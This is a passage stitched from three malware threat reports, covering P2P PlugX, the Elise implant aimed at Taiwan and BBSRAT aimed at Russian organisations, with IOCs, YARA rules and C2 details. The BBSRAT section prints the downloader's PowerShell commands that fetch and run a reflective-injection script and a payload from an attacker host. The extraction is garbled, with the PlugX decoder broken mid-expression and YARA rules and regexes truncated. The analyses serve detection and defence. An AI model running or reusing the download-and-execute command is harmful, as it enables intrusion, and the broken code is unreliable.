nodes MAC address check - PlugX runs if the MAC address of an infected information in itself (If not specified in the host coincides with configuration configuration, PlugX runs on any host). (To bypass UAC) configurable setting for the process to abuse Other than these, new coding algorithm has been introduced. I will pick up some of the interesting features for more description. For details of the configuration file, you can refer to Appendix A in the bottom of this post. Additional Communication Protocol for C&C Servers Former versions of PlugX used to set four C&C Server addresses to communicate with. With the P2P PlugX, attackers can set up to 16 C&C servers. Communication protocol with C&C servers has also been improved. Former PlugX could only configure four communication protocols, but for P2P PlugX, protocol number 255 became available. This protocol is reserved by IANA, but no specific application is assigned. Table 1: Configurations and Communication Protocol which Table 1: Configurations and Communication Protocol which PlugX uses to connect to C&C Servers Protocol Number Configuration No. Data Format (In IP header) 6 (TCP) Binary 6 (TCP) HTTP 17 (UDP) 1 (ICMP) Binary Binary P2P Function Enabled P2P PlugX can communicate with other similarly-infected hosts. When one PlugX succeeds to infect a host, it then accesses to every IP address in the local network one-by-one and communicate with any connectable nodes, using one of the following protocols listed in Table 2. Table 2: Configurations and Communication Protocols which P2P PlugX uses to communicate by P2P Protocol Number Configuration No. Data Format (In IP header) 6 (TCP) Binary 17 (UDP) 1 (ICMP) Binary Binary With P2P protocol, even if a PlugX exists in an environment with no direct access to the Internet, it may communicate with C&C server through other infected hosts. We have also seen some P2P-disabled samples. Note that this P2P communication theoretically can be applied to any other TCP/UDP ports. But in cases which JPCERT/CC ha observed, P2P PlugX only uses either TCP/1357 or UDP/1357 for P2P communication. If you see any scanning activity to TCP/1357 or UDP/1357, we highly recommend that you conduct further investigation. New Encoding Algorithm PlugX uses a single encoding algorithm for inbound/outbound data, configuration, key logging data and strings used internally. Its encoding method has been modified from time to time, aligned with major upgrade of PlugX itself. Likewise, P2P PlugX has a new encoding algorithm. Here s a python code to decode. def plugx_decode(data): decode_key = struct.unpack_from('> 16) & 0xff ^ ((key2 & 0xff ^ (((key1 >> 16) & 0xff ^ (key1 - (key1 >> 8) & 0xff)) - (key1 >> 24) & 0xff)) - (key2 >> 8) & 0xff)) - (key2 >> 24) & 0xff) out = out + chr(dec) return out What s Next? P2P PlugX introduced several new features which surely made attackers to manage their attack infrastructure efficiently. We are sure that PlugX will keep evolving, and continuous analysis will be necessary for preventing/mitigating possible incident. We will keep you updated on any new findings. Thank you very much for reading. - Shusei Tomonaga (For any inquiry or incident report regarding PlugX, please contact info[at]jpcert.or.jp) Appendix A: Entire Configuration of P2P PlugX Offset Length Table 3: Entire Configuration of P2P PlugX Description 0x0000 Not used 0x0014 Flag if remove own DLL from list of modules 0x0018 Flag enable/disable key logger 0x001c Not used 0x0028 Duration of suspend activity 0x002c Duration of suspend activity 0x0030 Network Access Flag (for a week with 15min interval) 0x02d0 DNS Server IP Address x 4 0x02e0 68 * 16 control Server Information x 16 0x0720 128 * 16 HTTP Access URL x 16 0x0f20 196 * 4 Proxy/authentication config x 4 0x1230 Method to make it resident (e.g. Create Service. Create Run Key) 0x1234 Folder to Install 0x1434 Service Name 0x1634 Service Display Name 0x1834 Service Description 0x1a34 Registry Root Key Value for Run Registry Key Configuration 0x1a38 Run Registry Key Name 0x1c38 Run Registry Key Value 0x1e38 Enable/Disable Code injection 0x1e3c 512 * 4 Program Name for Code Injection x 4 0x263c Enable/Disable Code injection for UAC Bypass 0x2640 512 * 4 Program Name to inject code for UAC Bypass x 4 0x2e40 Authentication Character String for PlugX 0x3040 Authentication Character String for C&C Server 0x3240 Mutex Name 0x3440 Enable/Disable Screen Capture 0x3444 Screen Capture Configuration Value 0x3458 Folder to Store Screen Captures 0x3658 Enable/Disable P2P(TCP) 0x365c P2P(TCP) Port Number 0x3660 Enable/Disable P2P(UDP) 0x3664 P2P(UDP) Port Number 0x3668 Enable/Disable P2P(ICMP) 0x366c P2P(ICMP) Port Number 0x3670 Enable/Disable P2P(IP Protocol Number 255) 0x3674 P2P(IP Protocol Number 255) Port Number 0x3678 Enable/Disable P2P Scanning 0x367c P2P Scanning Beginning Address x 4 0x368c P2P Scanning End Address x 4 0x369c Run program if this MAC Address is used 0x36a2 Not used Appendix B: SHA-256 hash value of P2P PlugX bc65e2859f243ff45b12cd184bfed7b809f74e67e5bb61bc92ed94058d3d2515 93c85a8dd0becc4e396eea2dc15c0010ff58d2b873d44fd7e45711a27cfe613b 0ff134057a8b2e31b148fedfdd185f5b1a512149499a8c5c0915cf10b10a613e 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Cyber security updates Keeping CISOs and CIO s confident about cyber security related issues including threat detection, data protection, breach readiness, security architecture, digital solutions and network security monitoring. ELISE: Security Through Obesity 23 December 2015 @michael_yip By Michael Yip Executive Summary Taiwan has long been subjected to persistent targeting from espionage motivated threat actors. This blog presents our analysis of one of the latest malware variants targeting individuals in Taiwan, which exhibits some interesting characteristics that can be useful for detecting and defending against the threat including the creation of an obese file, weighing in at 500MB, as part of its execution. Malware Analysis The sample which caught our attention for this analysis is a PowerPoint slideshow file named .pps (translation: Observations on cyber compensated dating among Taiwanese students ). The sample was submitted to VirusTotal on 3rd December 2015 from Taiwan and at the time was only detected by 3 out of 54 antivirus vendors as malicious. An exploit for CVE 2014 4114 is also detected and tagged by VirusTotal. Figure 1: The sample is a PowerPoint file with exploit for CVE 2014 4114 embedded. The initial lure The figures below show some of the slides from the slideshow. All the contents in the slideshow are written in Traditional Chinese, which is typically used in provinces in Southern China such as Guangdong and Hong Kong, as well as Taiwan. Since the topic of the slideshow relates explicitly to Taiwanese and the submission was from Taiwan, we assess the attacker was likely targeting Taiwanese individuals. Figure 2: The lure document is a Powerpoint (.pps) slideshow on Observations into cyber compensated dating ( ) among Taiwanese students Given the use of a malicious document as the initial lure, the delivery method in this campaign is almost certainly spear phishing. Exploitation 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Once the slideshow file is opened, whilst the slides are displayed in full screen mode, the malware is dropped in the background. Specifically, two files are dropped into the %TEMP%directory: hlwyss.jpgand hlwyss.inf. By examining the file header (as shown in Figure 3) of hlwyss.jpg, we can see that the file is in fact a MS DOS executable: Figure 3: File header of hlwyss.jpg shows it's an MS DOS executable. The hlwyss.infis an INF file which specifies file system operations required to install the malware (as shown in Figure 4). The use of an embedded INF file for malware installation is consistent with the Metasploit implantation of CVE 2014 4114, better known as the Sandworm vulnerability. Figure 4: Contents of the hlwyss.inf which shows the renaming of hlwyss.jpg to hlwyss.dll and installation of the RunOnce key for malware execution. As indicated in the INF file, the installation script renames hlwyss.jpgto hlwyss.dlland sets up the malware through the creation of two 4/10/2016 ELISE: Security Through Obesity - Cyber security updates RunOncekeys to ensure the execution of the malicious DLL using rundll32.exe,with the entry point Setting. Installation and execution On examining logs produced during execution by ProcessMonitor, we find that aside from following the instructions outlined in the INF file, the malware proceeds to perform additional operations to complete its installation. In particular, the malware replicates itself in the %AppData%\Roaming\Programsfolder and names its cloned copy Syncmgr.dll (see Figure 5). Figure 5: As part of the installation, another DLL called Syncmgr.dll is also created. To ensure persistence on future restarts a Runkey is also installed, however, the Runkey points to the newly created Syncmgr.dllrather than the original hlwyss.dll. Figure 6: Run and RunOnce keys installed to ensure malware execution on boot up. Planting the malware in the user s AppData\Roamingfolder is also a sign that the attacker was likely to be targeting corporate users as corporate users often possess roaming user profiles, a Windows feature that allows users to access their customised Windows environment from different machines. As Syncmgr.dllis the main malicious payload, we took a closer look at the file. The malware was compiled on 24th November 2015 and it is a bit DLL. This shows that the sample is recent and indicates the threat actor is currently active. Examining the PE structure of Syncmgr.dllshows a hidden executable embedded as one of the resources: Figure 7: Executable embedded in resource. Once SyncManager.dllis executed, an iexplore.exeprocess is spawned: Figure 8: A malicious iexplore.exe process spawned. 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Unsurprisingly, the strings of the iexplore.exeprocess reveals that the malware has injected itself into the process. Figure 9: Malware injected into iexplore.exe. By visualising the ProcessMonitor logs in ProcDOT, we see that two more files are created by the malware: WEB2013BW6.DATand 60HGBC00.DAT. 4/10/2016 Figure 10: Malware creates two addition .DAT files. ELISE: Security Through Obesity - Cyber security updates By comparing the code constructs between the embedded resource ASDASDASDASDSADand WEB2013BW6.DAT,we see that they contain the identical code, as shown below: Figure 11: The embedded resource (left) and WEB2013BW6.DAT have similar code constructs. However, WEB2013BW6.DATis over 500MB in size which is significantly larger than ASDASDASDASDSADwhich is only 51KB in size: Figure 12: Dropped files in AppData\Roaming\Programs folder. An examination into the PE structure of WEB2013BW6.DATshows that a significant amount of junk characters are appended to the foot of the file: Figure 13: Padding towards the end of WEB2013BW6.DAT. Based on its contents, the .DAT file is likely a component responsible for network communication. ProcMon logs also show that only once the iexplore.exeprocess is spawned, that the .DAT file is loaded into the process. Our current hypothesis is that this is component of the malware often triggers antivirus signatures, and its huge size is an effort by the authors to evade detection. Network communications Once the malware is executed, a HTTP GET request is sent to showip[.]netin an attempt to find out the victim s external IP address. 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Figure 14: HTTP GET request to showip[.]net. After obtaining the IP address, the malware then sends out a HTTP GET request to one of three command & control (C2) servers configured in the malware, such as ustar5.PassAs[.]us.The full HTTP headers are as shown in the figure below: Figure 15: Network traffic to ustar5.PassAs[.]us generated after the malware is executed. There are two interesting aspects to the observed HTTP traffic. Firstly, the user agent is hardcoded in the malware and as shown in the above figures, the same user agent is used in both GET requests. Secondly, the victim IP is stored as the SHO value in the cookie field in the HTTP GET request to the C2 server. Both characteristics are useful for detection the presence of this particular malware. The malware is configured to use the following hosts for c2 servers: Domain Last seen ustar5.PassAs[.]us 203.124.14[.]241 03/12/2015 103.193.150[.]33 15/12/2015 dnt5b.myfw[.]us 127.0.0.1 15/12/2015 203.124.14[.]241 As the malware attempts to establish contact with each of the designated C2 server, the malware also logs the errors in a .tmplog file stored in the %TEMP%directory: Figure 16: Log file generated by the malware during execution logging failed attempts at establishing contact with configured C2s. 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Functionalities By examining the code constructs in the malware, we found evidence of the following functions: File upload upload file to server File download download file to victim machine Remote shell spawn remote shell File system reconnaissance obtain file metadata data Process enumeration enumerate running processes Some of these functionalities are visible in the ASCII strings from the embedded payload ASDASDASDASDSAD: Figure 17: Strings from the malware show hints on the functionalities offered by the malware. Association with LOTUS BLOSSOM Our first step in attempting to tie activity to known campaigns is to look for any infrastructure overlaps between the domains used and those used 4/10/2016 ELISE: Security Through Obesity - Cyber security updates previously by known threat actors, however we were unable to identify any infrastructure overlap in this case. However, network infrastructure is not the only method for attribution. Other useful methods include common tools and techniques used by threat actors, as well as any other behavioural patterns in the modus operandi associated with specific threat actors. In this case, we believe the sample analysed is associated with the Lotus Blossom threat actor based on the following characteristics which are also seen in other samples associated with the actor: The use of Microsoft Office document with content in Traditional Chinese as initial lure and exploit The targeting of Taiwanese individuals (Taiwan is often the target of the Lotus Blossom group) The malware is written in C++(like most other malware used by the Lotus Blossom threat actor) The mention of Loader.dll(a filename referenced in other Elise samples) The use of dynamic DNS domains, including use of the same providers The fixed user agent Mozilla/4.0(compatible MSIE 7.0 Windows NT 5.1) Mutex string Global\{7BDACDEE 8BF6 4664 B946 D00FCFF1FFBA} The format of the configuration for the C2 servers (e.g. Server1=%s) and The presence of a JSON like string within the malware matching the following regular expression: \{\"r\":\"[0 {12}\",\"l\":\"[0 9]{12}\",\"u\":\"[0 9]{7}\",\"m\":\"[0 9]{12}\"\}. These relationships are displayed graphically in the Maltego graph below: Figure 18: Some overlapping features among related samples, including the sample analysed in this blog c205fc5ab1c722bbe66a4cb6aff41190. Conclusion Taiwan has long been heavily targeted by espionage threat actors and Lotus Blossom is one of the most active threat actors currently targeting the country. The analysis presented in this blog provides an overview of one of their latest malware variants and new network infrastructure associated with the group. The compile time of the sample shows that the malware was compiled in November which indicates that the group is still actively targeting Taiwanese victims. Recommendation To help detect the presence of the malware described in this blog, we have included both network and host based signatures in the Appendix. Further Information We specialise in providing the services required to help clients resist, detect and respond to advanced cyber attacks. This includes crisis events such as data breaches, economic espionage and targeted intrusions, including those commonly referred to as APTs. If you would like more information on any of the threats discussed in this alert please feel free to get in touch, by e mailing threatintelligence@uk.pwc.com. 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Michael Yip | Cyber Threat Detection & Response +44 (0)20 78043900 @michael_yip Appendix File descriptions Below table shows the metadata of the file(s) referenced in this blog: Sample 1 Filename .pps Filesize (bytes) 24,1504 c205fc5ab1c722bbe66a4cb6aff41190 Last saved 2015 03 03:45:11 Architecture Type Packer None Comments This is the initial lure document. Sample 2 Filename SyncMgr.dll/hlwyss.dll Filesize (bytes) 156,976 353fc24939bb5db003097a8dd3c0ee7b File PE Compile Time 2015 24 04:57:52 Architecture Type Packer None Comments This is the Elise variant. Sample 3 Filename hlwyss.inf Filesize (bytes) 1,136 bc179ebf3ca089dc9f3596beea38ab27 File PE Compile Time Architecture Type Packer None Comments This is the INF file used as part of the exploit code. Sample 4 4/10/2016 Filename WEB2013BW6.DAT ELISE: Security Through Obesity - Cyber security updates Filesize (kilobytes) 512,051 3940a839c8f933cbdc17a50d164186fa File PE Compile Time Architecture Type Packer None Comments This is the malware packed with junk code. Sample 5 Filename 60HGBC00.DAT Filesize (bytes) 1292 6fcdc554b71db3f0b46c7722c2a08285 File PE Compile Time Architecture Type Packer None Comments This is an encrypted file object. Indicators Below are the network indicators referenced in this blog: Domain ustar5.PassAs[.]us Domain dnt5b.myfw[.]us 203.124.14[.]241 103.193.150[.]33 Detection signatures Yara rule Lightserver_variant_B : Red_Salamander meta: description = "Elise lightserver variant." author = "PwC Cyber Threat Operations :: @michael_yip" version = "1.0" created = "2015 exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190" strings: 4/10/2016 ELISE: Security Through Obesity - Cyber security updates $json = /\{\"r\":\"[0 9]{12}\",\"l\":\"[0 9]{12}\",\"u\":\"[0 9]{7}\",\"m\":\"[0 {12}\"\}/ $mutant1 = "Global\\{7BDACDEE 8BF6 4664 B946 D00FCFF1FFBA}" $mutant2 = "{5947BACD 63BF 4e73 95D7 0C8A98AB95F2}" $serv1 = "Server1=%s" $serv2 = "Server2=%s" $serv3 = "Server3=%s" condition: uint16(0) == 0x5A4D and ($json or $mutant1 or $mutant2 or all of ($serv*)) import "pe" rule Elise_lstudio_variant_B_resource meta: description = "Elise lightserver variant." author = "PwC Cyber Threat Operations :: @michael_yip" version = "1.0" created = "2015 exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190" condition: uint16(0) == 0x5A4D and for any i in (0..pe.number_of_resources 1) : (pe.resources[i].type_string == "A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00S\x00A\x00D\x00") Why 2015 was the tipping point for cybersecurity | Main | The concept of cyber in a criminal world Comments Verify your Comment Previewing your Comment Posted by: | This is only a preview. Your comment has not yet been posted. Post Edit Your comment could not be posted. Error type: Your comment has been saved. Comments are moderated and will not appear until approved by the author. Post another comment The letters and numbers you entered did not match the image. Please try again. As a final step before posting your comment, enter the letters and numbers you see in the image below. This prevents automated programs from posting comments. Having trouble reading this image? View an alternate. 4/10/2016 ELISE: Security Through Obesity - Cyber security updates Continue 2012 2016 PwC. All rights reserved. PwC refers to the PwC network and/or one or more of its member firms, each of which is a separate legal entity. Please see www.pwc.com/structure for further details. Privacy Statement Cookies info Legal Disclaimer Provision of Services Diversity 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog Home Blog Home Applipedia Threat Vault Reports Tools English 1.866.320.4788 Support Resources Research Search Search Like Tweet BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger posted by: Bryan Lee and Josh Grunzweig on December 22, 2015 5:00 PM filed in: Malware, Unit 42 tagged: AutoFocus, BBSRAT, Microsoft Office, PlugX, Roaming Tiger In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed Roaming Tiger . The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family. ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December. The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool BBSRAT. Targeting and Infrastructure As described in earlier reports on Roaming Tiger , the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well known Microsoft Office vulnerability, CVE 2012 0158, to execute malicious code in order to take control of the targeted systems. http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 1/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog Figure 1 Spear phishing email delivering BBSRAT In one case, the adversary impersonated an individual from the organization Vigstar, a Russian based research organization in charge of the development of satellite communications and special purpose wireless devices for the Russian Federation s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was found on a job board website for a job opening at Vigstar. The rough translation of the body of the email is as follows: I send you a list of international exhibitions of military, civil and dual purpose, conducted in 2015 on the territory of the Russian Federation and foreign states. Waiting for your reply! Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015. Figure 2 Decoy document that is opened after the malicious document has infected the system In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 2/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the Roaming Tiger campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose built variants and/or infrastructure for each of the intended targets. Figure 3 Command and control infrastructure BBSRAT Malware Analysis Deployment Technique #1 BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10 16 uppercase alphabetic characters, and ends with a .TMP file extension. The dropper will continue to write an embedded cab file in this location. Figure 4 Header of CAB file dropped by BBSRAT The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine: %ALLUSERSPROFILE%\SSONSVR %ALLUSERSPROFILE%\Application Data\SSONSVR Using the built in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 3/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog expand the CAB file and write the results to the provided directory: expand.exe %TEMP%\[temp_file] Destination [chosen_path]\SSONSVR This results in the following three files being written to the SSONSVR directory: aclmain.sdb pnipcn.dll ssonsvr.exe The ssonsvr.exe file is a legitimate Citrix executable that will be used to sideload the malicious pnipcn.dll file. The aclmain.sdb file contains code that will eventually be loaded by the pnipcn.dll file. The malware finally executes ssonsvr.exe via a call to ShellExecuteW. Figure 5 Execution flow of dropper expanding CAB file When ssonsvr.exe is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string: %SystemRoot%\System32\msiexec.exe It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the aclmain.sdb file and performs process hollowing against this instance of msiexec.exe prior to resuming the process. Figure 6 Sideloading execution flow In order to ensure persistence, the following registry key is written on the victim s machine: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe] Deployment Technique #2 In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke ReflectivePEInjection.ps1 script from the PowerSploit framework. When the downloader executes, it will first decrypt the following two strings using a 5 byte XOR key of \x01\x02\x03\x04\x05 powershell exec bypass c IEX (New Object Net.WebClient).DownloadString( http://testzake[.]com/IR.ps1 Invoke ReflectivePEInjection PEUrl http://testzake[.]com/s.exe C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell exec bypass c IEX (New Object Net.WebClient).DownloadString( http://testzake[.]com/IR.ps1 Invoke ReflectivePEInjection PEUrl http://testzake[.]com/s.exe These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to run on 64 bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the context of the powershell process. When the above commands are executed, the downloader will initially download the IR.ps1 powershell script from the specified URL: Figure 7 Downloader downloading the Invoke ReflectivePEInjection PowerSploit script This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family. http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 4/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog The downloader proceeds to drop either a 32 bit or 64 bit DLL file that will execute the two previously stated Powershell commands when the DLL is loaded. This DLL is dropped to one of the following locations: %SYSTEMROOT%\web\srvcl32.dll %APPDATA%\web\srvcl32.dll Additionally, the following registry keys are set depending on the system s CPU architecture: HKU\Software\Classes\CLSID\{42aedc87 2188 41fd b9a3 0c966feabec1}\InprocServer32\ThreadingModel Both HKU\Software\Classes\CLSID\{42aedc87 2188 41fd b9a3 0c966feabec1}\InprocServer32\Default [path_to_srvcl32.dll] HKLM\SOFTWARE\Classes\CLSID\{F3130CDB AA52 4C3A AB32 85FFC23AF9C1}\InprocServer32\ThreadingModel Both HKLM\SOFTWARE\Classes\CLSID\{F3130CDB AA52 4C3A AB32 85FFC23AF9C1}\InprocServer32\Default [path_to_srvcl32.dll] The COM object for {42aedc87 2188 41fd b9a3 0c966feabec1} is specific to MruPidlList , while the COM object for {F3130CDB AA52 4C3A AB32 85FFC23AF9C1} is specific to Microsoft WBEM New Event Subsystem . This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced. BBSRAT Execution After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime: ntdll.dll kernel32.dll user32.dll advapi32.dll gdi32.dll ws2_32.dll shell32.dll psapi.dll Secur32.dll WtsApi32.dll Netapi32.dll Version.dll Crypt32.dll Wininet.dll The following mutex is then created to ensure a single instance of BBSRAT is running at a given time: Global\GlobalAcProtectMutex Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function: Figure 8 BBSRAT calling WSAStartup function The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following: GET /bbs/1/forum.php?sid=1 HTTP/1.1 Cookie: A46A8AA9 D7D6 43FB 959DC96E Content Length: User Agent: Mozilla/4.0 (compatible Windows NT 5.1) Connection: Keep Alive Host: transactiona[.]com Cache Control: no cache Accept: */* Content Type: In the above example, the used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 5/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog for command and control (C2) communication. When first executed, the malware will exfiltrate data about the victim s machine via a POST request to the /bbs/[counter]/forum.php?sid=[counter] URL. All network data sent via POST requests uses a custom binary structure, as defined as the following: 1 struct network_header DWORD random; DWORD hardcoded0; DWORD hardcoded1; DWORD command; DWORD length_of_compressed_data; DWORD length_of_decompressed_data; DWORD unknown2; BYTE compressed_data[]; 11 }; The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data: 1 def decrypt(data): out = [] for x in data: t = (ord(x) - 23) t1 = (t ^ 62) t2 = (t1 + 23) & 0xFF out.append(chr(t2)) return out The following data structure holds the victim s information that is uploaded by BBSRAT: 1 struct victim_information DWORD static_value; DWORD major_version; DWORD minor_version; DWORD build_number; DWORD platform_id; DWORD default_locale; DWORD unknown; DWORD local_ip_address; DWORD running_as_64_bit; DWORD random; DWORD unknown2; DWORD struct_length; DWORD struct_with_not_used_length; DWORD struct_with_username_length; DWORD struct_with_group_length; DWORD unknown3; DWORD struct_with_hostname_length; WCHAR not_used[??]; WCHAR username[??]; WCHAR group[??]; WCHAR hostname[??]; 24 }; BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub commands have been identified: CommandSub Description command 0x110010 N/A Beacon http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 6/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog 0x110011 N/A Uninstall/Kill Malware 0x110020 N/A Upload Victim Information 0x110064 0x2 Execute Command and Return Response 0x110064 0x4 Unknown 0x110064 0x5 Execute Shellcode 0x110066 0x7 Query Service Configuration 0x110066 0x9 Start Service 0x110066 0xa Stop Service 0x110066 0xb Delete Service 0x110066 0xc Change Service Configuration 0x110063 0xd Enumerate Running Processes 0x110063 0xf Kill Process 0x110063 0x10 Get Process Information 0x110063 0x12 Free Library for Specified Process 0x110065 0x1b Execute Command Quietly 0x110065 0x1e Send Input to Console 0x110065 0x1f Execute Shellcode 0x110061 0x20 List Drive Information 0x110061 0x21 List File Information For Given Directory 0x110061 0x23 Write File 0x110061 0x24 Read File 0x110061 0x25 List File Information For Given Directory 0x110061 0x27 Perform File Operation via SHFileOperation() 0x110061 0x28 Delete File 0x110061 0x29 Create Directory 0x110061 0x2a Shell Execute Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers. Conclusion As in many of the previous articles regarding espionage motivated adversaries and possible nation state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively secure themselves and prevent attacks. WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag. Appendix YARA Rule 1 rule bbsrat { meta: author = "Tyler Halfpop" company = "Palo Alto Networks" last_updated = "12-16-15" strings: $sa0 = "%ALLUSERSPROFILE%\\SSONSVR" fullword wide $sa1 = "%ALLUSERSPROFILE%\\Application Data\\SSONSVR" fullword wide $sa2 = "\\ssonsvr.exe" fullword wide $oa0 = { 83 E8 01 88 0C 04 75 F8 8B 44 24 40 89 4C 24 18 89 4C 24 1C 89 4C 24 30 89 $oa1 = { 75 11 5F 5E B8 0D 00 00 00 5B 81 C4 ?? 07 00 00 C2 10 00 53 68 80 00 00 00 $sb0 = "%systemroot%\\Web\\" $sb1 = "srvcl32.dll" $ob0 = { B8 67 66 66 66 F7 E9 D1 FA 8B C2 C1 E8 1F 03 C2 8D 04 80 8B D1 2B D0 8A 44 $ob1 = { 8D 84 24 18 02 00 00 50 C7 84 24 1C 02 00 00 94 00 00 00 FF 15 4C 20 40 00 condition: uint16(0) == 0x5a4d and filesize < 300KB and (all of ($sa*) or all of ($oa*) or all 20 } BBSRAT Samples EF5FA2378307338D4E75DECE88158D77 (Sample Analyzed) SHA1 574230D89EABDE0B6F937CD718B3AD19BB4F5CE3 http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 7/12 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog SHA256 FC4B465EE8D2053E9E41FB0A6AE32843E4E23145845967A069E584F582279725 Compile 2014 26 17:17:00 UTC Time Network HTTPS Protocol transactiona[.]com Server(s) financenewsru[.]net 2254A1CA05DB87D9D58A71DDB97C7395 SHA1 65B17D3FF68D25392A9B0B9E25A275540DFB4E8D SHA256 567A5B54D6C153CDD2DDD2B084F1F66FC87587DD691CD2BA8E30D689328A673F Compile 2015 04 07:14:33 UTC Time Network HTTPS Protocol jowwln[.]cocolco[.]com Server(s) pagbine[.]ofhloe[.]com cdaklle[.]housejjk[.]com 74A41C62D9EC1164AF82B802DA3E8B3E SHA1 D390E0965823E42584F2799EF0E8161A6540AF3E SHA256 77A2E26097285A794E42C9E813D14936D0E7A1DD3504205DD6B28A71626F8C3C Compile 2015 04 07:14:33 Time Network HTTPS Protocol kop[.]gupdiic[.]com Server(s) C17534E4B61C08A7646CDC64574B429B SHA1 931BAB999568C228616430A5AEDFEDFC34E1F151 SHA256 61A692E615E31B97B47A215479E6347FBD8E6E33D7C9D044766B4C1D1AE1B1FB Compile 2015 04 07:14:33 UTC Time Network HTTPS Protocol herman[.]eergh[.]com Server(s) C7C79393E762E7ED925F42D3C899BA60 SHA1 7406B11851200D0ADA1A8334107182D636738CE5 SHA256 B1737F3A1C50CB39CD9938D5EC3B4A6A10B711F17E917886481C38967B93E259 